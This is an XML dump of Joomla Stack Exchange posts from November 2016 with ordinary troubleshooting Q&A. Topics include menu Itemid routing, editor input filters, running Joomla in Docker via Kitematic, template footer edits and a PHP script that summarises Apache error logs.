  <row Id="18415" PostTypeId="2" ParentId="18414" CreationDate="2016-11-19T12:51:13.690" Score="2" Body="&lt;p&gt;If you link to an article using the WYSIWYG editor's button then it creates a link with a structure such as the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;id=2&amp;amp;amp;catid=2&amp;amp;amp;Itemid=101&quot;&amp;gt;Homepage&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That &lt;code&gt;Itemid&lt;/code&gt; tells the router what menu item to base the page's layout on - what modules to assign etc.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If an article does not have a menu item associated with it then the link will have the homepage's Itemid, which is what is happening here.&lt;/li&gt;&#xA;&lt;li&gt;If more than one menu item has the same article, then it will use the first one it finds.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thus if you want to solve this problem, either go into code view and update the Itemid in each link to match your article landing page's menu item id, or create separate sub-menu items for each article.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-11-19T13:06:29.117" LastActivityDate="2016-11-19T13:06:29.117" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18416" PostTypeId="1" AcceptedAnswerId="18419" CreationDate="2016-11-19T15:24:10.750" Score="0" ViewCount="170" Body="&lt;p&gt;For Form Editor xml, should we use&#xA;filter=&quot;safehtml&quot; &#xA;or&#xA;filter=&quot;JComponentHelper::filterText&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pl advise - which is better filter and safe&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="3650" LastEditDate="2016-11-21T18:08:46.570" LastActivityDate="2016-11-21T18:08:46.570" Title="Which Filter should be used for Editor" Tags="|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18417" PostTypeId="5" CreationDate="2016-11-19T19:47:21.100" Score="0" Body="&lt;p&gt;For questions regarding the use of PHP DocBlock headers with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, please see the &lt;a href=&quot;http://joomla.github.io/coding-standards/?coding-standards/chapters/docblocks.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;DocBlocks&lt;/a&gt; section of the Joomla! &lt;a href=&quot;http://joomla.github.io/coding-standards/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coding Standards Manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastEditorUserId="7064" LastEditDate="2016-11-19T23:44:24.827" LastActivityDate="2016-11-19T23:44:24.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18418" PostTypeId="4" CreationDate="2016-11-19T19:47:21.100" Score="0" Body="For questions regarding the use of PHP DocBlock headers with Joomla." OwnerUserId="7064" LastEditorUserId="7064" LastEditDate="2016-11-19T23:44:35.670" LastActivityDate="2016-11-19T23:44:35.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18419" PostTypeId="2" ParentId="18416" CreationDate="2016-11-19T23:31:08.037" Score="3" Body="&lt;p&gt;As far as I can tell from looking at the codebase, both end up filtering the code through &lt;code&gt;JFilterInput::getInstance()-&amp;gt;clean();&lt;/code&gt;, which checks the html is safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main difference seems to be that &lt;code&gt;JComponentHelper::filterText&lt;/code&gt; has some additional filtering to limit the html to a bespoke whitelist/blacklist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both should be secure.  The latter may have more flexibility should you need it.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-11-19T23:37:45.047" LastActivityDate="2016-11-19T23:37:45.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18420" PostTypeId="1" CreationDate="2016-11-20T07:32:52.210" Score="-1" ViewCount="488" Body="&lt;p&gt;I am fairly new to Joomla and Virtuemart. The versions that I use are:&#xA;Joomla : 3.6.4&#xA;Virtuemart : 3.0.18&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the title suggests, I'd like to make certain products link to an external url when the shopper clicks the 'Add to cart' button. Which files or codes should I alter to achieve this. Can someone please guide me on this?&lt;/p&gt;&#xA;" OwnerUserId="9313" LastEditorUserId="3650" LastEditDate="2016-11-21T14:00:14.453" LastActivityDate="2018-09-14T02:00:28.777" Title="Make 'Add to cart' link to an external url for certain products in virtuemart" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18421" PostTypeId="1" CreationDate="2016-11-20T11:33:36.963" Score="1" ViewCount="98" Body="&lt;p&gt;I'm using GeSHi plugin for writing code in my Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works, but there's some language that are not supported (powershell, SQL) that I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;http://qbnz.com/highlighter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GeSHi homepage&lt;/a&gt; I've seen that they've released a version in which these languages are supported, so I'd like to use it in my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to import it in my Joomla installation?&lt;/p&gt;&#xA;" OwnerUserId="9211" LastActivityDate="2017-01-19T11:57:13.190" Title="Add languages to GeSHi plugin" Tags="|joomla-3.x|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18422" PostTypeId="2" ParentId="18421" CreationDate="2016-11-20T11:50:58.820" Score="1" Body="&lt;p&gt;I've found a solution by myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla folder go to &lt;code&gt;administrator/components/com_scriptcodehighlighter/models/forms&lt;/code&gt; and open the file &lt;code&gt;scriptcodehighlighter.xml&lt;/code&gt;. There's the list of all supported formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add following options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&quot;sql&quot;&amp;gt;SQL&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;powershell&quot;&amp;gt;POWERSHELL&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just for be sure, I've followed the alphabetical order of the file, so I've put them in right positions (but I don't know if it's has any importance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the same thing for the file &lt;code&gt;/components/com_scriptcodehighlighter/models/forms/scriptcodehighlighter.xml&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I add the code in the dropdown list I can see missing languages, and they also work correctly in article.&lt;/p&gt;&#xA;" OwnerUserId="9211" LastActivityDate="2016-11-20T11:50:58.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18423" PostTypeId="2" ParentId="1035" CreationDate="2016-11-20T15:24:59.910" Score="0" Body="&lt;p&gt;Am Anthony, I run this website which has JomSocial as a community component for my members. &#xA;Sure enough, I am here to try to assist someone who might run into a problem as mine since mine is so unique I browsed all over internet and could not even see a reason why am seeing my screen of Death.&#xA;I will say how I came into the problem.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I am into the habit of doing a back up for my online websites, then reloading them in my local host just to be 100% sure I have a fully functional back up. I do this using the back up wizard at the Cpanel of my domain.&lt;/li&gt;&#xA;&lt;li&gt;So I did the back up, then once all files were offline (my Database and Public HTML archive), .&#xA;=I extracted my archives, pasted the website in my local host, restored the Database and tried accessing the site. Sure enough I met a white Screen something I have never met.&lt;/li&gt;&#xA;&lt;li&gt;To cut story short, after about 2 hours of trying and failing, I checked all the folders that were extracted, to my disappointment my archive did not extract the folder &quot;Components&quot; so I copied it manually from the website that I had originally used to upload the one that is online, I had not installed an extra component since hosting the website so I was sure all components that I need are somehow present in that folder {But I was just guessing I was not sure if it will work or not}, pasted it in the folder containing the rest of my website in my local host, then from there I was able to log in to the back end of my Joomla website, Cleared Cache and cleared expired cache and sure enough, my website loaded exactly as it is online.&lt;/li&gt;&#xA;&lt;li&gt;So my simple advice, before you go about checking what is causing the WSOD moreso after migrating your website to another host, manually cross check to ensure all your files and folders are present, I just did that after getting a real challenge figuring out what is wrong with my website. I am surprised this advice did not pop up anywhere all over the places I searched online!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9315" LastEditorUserId="126" LastEditDate="2016-11-20T15:57:01.993" LastActivityDate="2016-11-20T15:57:01.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18424" PostTypeId="1" CreationDate="2016-11-20T16:27:01.253" Score="2" ViewCount="615" Body="&lt;p&gt;I've installed and removed the JomSEF plugin for redirecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've a problem. When I create an article, in TinyMCE I insert images and I can see it in the article. When I publish it, images disappear and I can't see them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I check the source of the page, I can see the correct path for images, likes &lt;code&gt;images\articles\001.png&lt;/code&gt; and &lt;code&gt;images&lt;/code&gt; is the folder where I stored it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="9211" LastEditorUserId="3650" LastEditDate="2016-11-21T18:08:02.017" LastActivityDate="2019-04-03T09:43:41.960" Title="Images appear in backend but not in frontend" Tags="|joomla-3.x|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18425" PostTypeId="2" ParentId="18381" CreationDate="2016-11-20T16:28:54.383" Score="2" Body="&lt;p&gt;I believe the function &lt;code&gt;getRenderer&lt;/code&gt; in &lt;code&gt;libraries/joomla/form/field.php&lt;/code&gt; is the one returning the rendering path, and the bug is there. I haven't tested this, but a quick search in the filesystem points me to that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, you don't need, in my opinion, to go through the hassle and override the renderfield.php. You can just override the &lt;code&gt;default_form.php&lt;/code&gt; ( &lt;code&gt;com_contact/views/contact/tmpl/defaut_form.php&lt;/code&gt; ) and replace the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $field-&amp;gt;renderField(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with a call to your function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo myRenderField($field); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;myRenderField&lt;/code&gt; will render &lt;code&gt;$field&lt;/code&gt; in the way that you want.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-11-20T16:28:54.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18427" PostTypeId="2" ParentId="18424" CreationDate="2016-11-20T19:38:54.040" Score="2" Body="&lt;p&gt;Two possibilities I can think of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Installing the extension has changed the base tag.  View the source and make sure this is still pointing to the site root, so that relative links to images/ are still correct.&lt;/li&gt;&#xA;&lt;li&gt;The extension contained multiple elements - plugins, componenents etc, and you have not uninstalled all of them. Do an audit of your extensions and remove any by that developer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Looking further into this, out-of-the-box the base tag will just be the page you are on and the link generated (when the page has been rendered) &lt;code&gt;/images&lt;/code&gt; rather than &lt;code&gt;images&lt;/code&gt;. With this structure, a fawlty base tag would not break it - images should be loading from the site root.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-11-20T20:15:27.020" LastActivityDate="2016-11-20T20:15:27.020" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18428" PostTypeId="1" AcceptedAnswerId="18447" CreationDate="2016-11-20T20:02:37.093" Score="6" ViewCount="3186" Body="&lt;p&gt;I want to reuse some forms in my component. The subform field does the job. However, I need to remove some fields and/or field groups when displaying the subform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use the &lt;code&gt;JForm&lt;/code&gt; methods &lt;code&gt;removeGroup()&lt;/code&gt; and &lt;code&gt;removeField()&lt;/code&gt; but it won't remove them from the subform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that a new layout is the way to go. I could specify the layout in the field instead of &lt;code&gt;layout='joomla.form.field.subform.default'&lt;/code&gt;.&lt;br&gt;&#xA;Would this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, how do I implement the custom layout?&lt;br&gt;&#xA;Examples would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7739" LastEditorUserId="126" LastEditDate="2017-07-03T13:22:06.343" LastActivityDate="2019-01-18T03:35:57.383" Title="How to use a custom layout with JForm subform fields?" Tags="|joomla-3.x|component|jform|layout|subform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18429" PostTypeId="2" ParentId="18400" CreationDate="2016-11-21T06:36:37.267" Score="3" Body="&lt;p&gt;After doing some trials and errors, I finally managed to run Joomla in Docker using Kitematic &lt;em&gt;(still need to use the cli tough, as not all actions can be completed using Kitematic GUI).&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I created this answer, most of available Kitematic documentations, tutorials and discussion's topics are referred to how to use Kitematic with &lt;a href=&quot;https://www.docker.com/products/docker-toolbox&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docker toolbox&lt;/a&gt;, while the Docker itself &lt;a href=&quot;https://docs.docker.com/docker-for-mac/docker-toolbox/&quot; rel=&quot;nofollow noreferrer&quot;&gt;recommends&lt;/a&gt; to use &lt;a href=&quot;https://docs.docker.com/docker-for-mac/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docker for Mac&lt;/a&gt;, the successor of Docker Toolbox &lt;em&gt;(yes, docker development is changing so fast)&lt;/em&gt;, so this thing slowing down my finding a bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I created the question, I was expecting I will be able to install and run Joomla in Docker by using 100% Kitematic GUI &lt;em&gt;(without touching cli)&lt;/em&gt; but lately I found the fact that, due to a Kitematic issue when linking external containers, at the moment, to create and run Joomla container using the &lt;a href=&quot;https://hub.docker.com/_/joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! official image&lt;/a&gt;, you will still need to use Docker command line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, without further ado, here are my complete steps to install Joomla in Docker using Kitematic&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First of all, you will need a mysql container to store your Joomla database &lt;em&gt;(because the official Joomla image doesn't come with mysql included)&lt;/em&gt;. You can create it by clicking the &lt;strong&gt;New&lt;/strong&gt; button in left sidebar and click the ‘Create’ button available in the mysql box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;a href=&quot;https://i.stack.imgur.com/3QlSI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3QlSI.png&quot; alt=&quot;kitematic1&quot;&gt;&lt;/a&gt;&#xA;￼&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Docker then will download necessary files and automatically running up the container when the downloading process is complete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At this point, you are likely going to get this error message in the console log: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error: database is uninitialized and password option is not specified You need to specify one of MYSQL_ROOT_PASSWORD, MYSQL_ALLOW_EMPTY_PASSWORD and MYSQL_RANDOM_ROOT_PASSWORD&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To fix this, go to the Settings tab and in the Environtement Variables section, add &lt;strong&gt;MYSQL_ROOT_PASSWORD&lt;/strong&gt; as the &lt;em&gt;KEY&lt;/em&gt; and enter any text for your password in the &lt;em&gt;VALUE&lt;/em&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;  &lt;a href=&quot;https://i.stack.imgur.com/svAo7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/svAo7.png&quot; alt=&quot;kitematic2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click Save, then the mysql container should be running properly now&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next, click the ‘Docker CLI’ button in the bottom left of app and when the terminal open up, run this command : &lt;code&gt;docker run --name myjoomla --link mysql:mysql -d joomla&lt;/code&gt; &#xA;&lt;em&gt;(Please note, if you rename your mysql container to something else then you need to change the mysqlpart in the command to : name_of_mysql_container:mysql)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Docker should download the necessary files now and after the downloading process has completed, docker will automatically run the Joomla container. At this point, you are likely going to get this error message in the console log :&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AH00558: apache2: Could not reliably determine the server's fully&#xA;  qualified domain name, using 172.17.0.3. Set the 'ServerName'&#xA;  directive globally to suppress this message&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;￼&lt;a href=&quot;https://i.stack.imgur.com/U2aZ2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U2aZ2.png&quot; alt=&quot;kitematic3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;8&quot;&gt;&#xA;&lt;li&gt;To fix this, go to the Settings tab and open the Ports tab. Enter a new value for Mac IP Port, let say 8080 and click save. &lt;a href=&quot;https://i.stack.imgur.com/Xbt7w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xbt7w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Your new Joomla container is ready to install now. You can access the new container from your browser by accessing &lt;a href=&quot;http://localhost:8080&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost:8080&lt;/a&gt; or by clicking the open url button in the Web Preview box of Kitematic interface.&lt;/li&gt;&#xA;&lt;li&gt;Follow the Joomla installation steps as usual. But please note in the Database Configuration tab, you will need to enter your &lt;em&gt;mysql container name&lt;/em&gt; for the &lt;strong&gt;Host Name&lt;/strong&gt; field, instead of &lt;em&gt;localhost&lt;/em&gt; and in this case we will use &lt;em&gt;mysql&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ru8i6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ru8i6.png&quot; alt=&quot;kitematic 5&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;11&quot;&gt;&#xA;&lt;li&gt;That’s all, Your Joomla is ready.&lt;/li&gt;&#xA;&lt;li&gt;To enable joomla files editing, you need to enable Volume so all joomla files will be copied to your local computer, by clicking on the Volumes Box in the bottom right of app&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ee3wd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ee3wd.jpg&quot; alt=&quot;kitematic 7&quot;&gt;&lt;/a&gt; &lt;em&gt;(Please note, enabling volume mounting will reset existing joomla installation)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;13&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;Extra Step.&lt;/strong&gt; You probably will need phpmyadmin to manage the database. To create that one, click the Docker Cli button again &lt;em&gt;(due to Kitematic issue with link action I mentioned above, creating new phpmyadmin container using Kitematic GUI will results some issues)&lt;/em&gt; and run this command : &lt;code&gt;docker run --name myphpadmin -d --link mysql:db -p 8081:80 phpmyadmin/phpmyadmin&lt;/code&gt; . That's it. You can access the new phpmyadmin installation from &lt;a href=&quot;http://localhost:8081&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost:8081&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-21T06:36:37.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18430" PostTypeId="1" AcceptedAnswerId="18432" CreationDate="2016-11-21T08:22:37.657" Score="3" ViewCount="875" Body="&lt;p&gt;I've installed CloudBase3 template, and in the footer I can see the message &quot;Joomla Hosting from CloudAccess.net&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I remove this message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xpmqK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xpmqK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9211" LastActivityDate="2016-11-22T10:02:53.110" Title="Remove &quot;Joomla! Hosting from cloudaccess.net&quot; in CloudBase3 template" Tags="|joomla-3.x|templates|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18431" PostTypeId="2" ParentId="18430" CreationDate="2016-11-21T09:39:31.150" Score="3" Body="&lt;p&gt;From what can be seen by Firebug at &lt;a href=&quot;http://cloudbase30.cloudaccess.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cloudbase3 Template Demo site&lt;/a&gt;, it is obvious that copyright message in the footer is actually module with class &lt;code&gt;branding&lt;/code&gt;, probably of type Custom HTML.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By examining module positions via link &lt;code&gt;http://cloudbase30.cloudaccess.net/?tp=1&lt;/code&gt;, it can be seen that the module is in position &lt;code&gt;copyright-a&lt;/code&gt;, so in order to disable that message, you should go to Module Manager at &lt;code&gt;Extensions | Modules&lt;/code&gt; , click on 'Search Tools' button, in 'Select Position' dropdown select that position &lt;code&gt;copyright-a&lt;/code&gt;, find the module in question and either disable it or delete it.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-11-21T09:39:31.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18432" PostTypeId="2" ParentId="18430" CreationDate="2016-11-21T09:47:25.293" Score="6" Body="&lt;p&gt;You can also modify the code directly by opening the file &#xA;&lt;code&gt;../templates/cloudbase3/features/branding.php&lt;/code&gt; using your favorite php editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At lines 21-24 you will see this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;rt-block branding&quot;&amp;gt;&#xA;    &amp;lt;span&amp;gt;Joomla! Hosting from&amp;lt;/span&amp;gt;&#xA;    &amp;lt;a href=&quot;http://www.cloudaccess.net/products/joomla-hosting-support.html&quot; title=&quot;ClodAccess.net Joomla Hosting&quot; class=&quot;powered-by&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-21T09:47:25.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18433" PostTypeId="2" ParentId="18371" CreationDate="2016-11-21T11:09:29.180" Score="4" Body="&lt;p&gt;I've found out that the easiest/faster method to resolve this was to use a script reading apache's logs and send a mail every day with a summary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI : Server's setup has a daily log rotation, run the script through crontab, just before rotation time.&#xA;(Plus : I'm french, so there are french words in the mail being sent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the script : (I know it could be improved, but it still does the needed work)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$start = microtime(true);&#xA;$filepath = &quot;PATH/TO/APACHE/LOGS&quot;;&#xA;$filename = &quot;error.log&quot;;&#xA;$to = &quot;MAILTO@ME.COM&quot;;&#xA;&#xA;$file = file($filepath . $filename);&#xA;&#xA;$warnings = [];&#xA;$errors = [];&#xA;$notices = [];&#xA;&#xA;foreach($file as $line) {&#xA;    $error = strpos($line, &quot;PHP Fatal error&quot;);&#xA;    if ($error !== false) {&#xA;        $exp = explode(&quot;PHP Fatal error&quot;, $line);&#xA;        $exp2 = explode(&quot;, referer&quot;, $exp[1]);&#xA;        $final = &quot;PHP Fatal error&quot; . $exp2[0];&#xA;        isset($errors[$final]) ? $errors[$final]+= 1 : $errors[$final]= 1;&#xA;    } else {&#xA;        $warning = strpos($line, &quot;PHP Warning&quot;);&#xA;        if ($warning !== false) {&#xA;            $exp = explode(&quot;PHP Warning&quot;, $line);&#xA;            $exp2 = explode(&quot;, referer&quot;, $exp[1]);&#xA;            $final = &quot;PHP Warning&quot; . $exp2[0];&#xA;            isset($warnings[$final]) ? $warnings[$final]+= 1 : $warnings[$final]= 1;&#xA;        } else {&#xA;            $notice = strpos($line, &quot;PHP Notice&quot;);&#xA;            if ($notice !== false) {&#xA;                $exp = explode(&quot;PHP Notice&quot;, $line);&#xA;                $exp2 = explode(&quot;, referer&quot;, $exp[1]);&#xA;                $final = &quot;PHP Notice&quot; . $exp2[0];&#xA;                isset($notices[$final]) ? $notices[$final]+= 1 : $notices[$final]= 1;&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;$errorNb = countArray($errors);&#xA;$warningNb = countArray($warnings);&#xA;$noticeNb = countArray($notices);&#xA;&#xA;function countArray($ar) {&#xA;    $nb = 0; foreach($ar as $a){ $nb+=$a; } return $nb;&#xA;}&#xA;&#xA;$subject = &quot;Rapport apache : Erreurs : &quot; . $errorNb . &quot; - Warnings : &quot; . $warningNb . &quot; - Notices :&quot; .$noticeNb;&#xA;$message = &quot;&amp;lt;br&amp;gt;Liste des erreurs (PHP Fatal error) rencontrées :&quot;.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;foreach($errors as $i =&amp;gt; $e) {&#xA;    $message .= &quot;Rencontré &quot; . $e . &quot; fois : &quot; . $i . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;}&#xA;$message .= &quot;&amp;lt;br&amp;gt;&quot;.&quot;&amp;lt;br&amp;gt;Liste des warning (PHP Warning) rencontrées :&quot;.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;foreach($warnings as $i =&amp;gt; $e) {&#xA;    $message .= &quot;Rencontré &quot; . $e . &quot; fois : &quot; . $i . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;}&#xA;$message .= &quot;&amp;lt;br&amp;gt;&quot;.&quot;&amp;lt;br&amp;gt;Liste des erreurs (PHP Notice) rencontrées :&quot;.&quot;&amp;lt;br&amp;gt;&quot;;&#xA;foreach($notices as $i =&amp;gt; $e) {&#xA;    $message .= &quot;Rencontré &quot; . $e . &quot; fois : &quot; . $i . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;}&#xA;&#xA;//echo $subject . &quot;&amp;lt;br&amp;gt;&quot; . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;$message.= &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Rapport généré en &quot; . (microtime(true) - $start) . &quot; secondes&quot;;&#xA;&#xA;//echo $message;&#xA;&#xA;$headers  = 'MIME-Version: 1.0' . &quot;\r\n&quot;;&#xA;$headers .= 'Content-type: text/html; charset=UTF-8' . &quot;\r\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8872" LastActivityDate="2016-11-21T11:09:29.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18434" PostTypeId="2" ParentId="15876" CreationDate="2016-11-21T15:44:35.180" Score="2" Body="&lt;p&gt;According to this &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;reference&lt;/a&gt; for custom component's installer script, couldn't just work with this code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function install($parent){&#xA;        // $parent is the class calling this method&#xA;        $parent-&amp;gt;getParent()-&amp;gt;setRedirectURL('index.php?option=com_helloworld');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should redirect after installation is complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I've tested it in one of my components and it works&lt;/p&gt;&#xA;" OwnerUserId="3585" LastEditorUserId="3585" LastEditDate="2016-11-24T09:30:07.777" LastActivityDate="2016-11-24T09:30:07.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
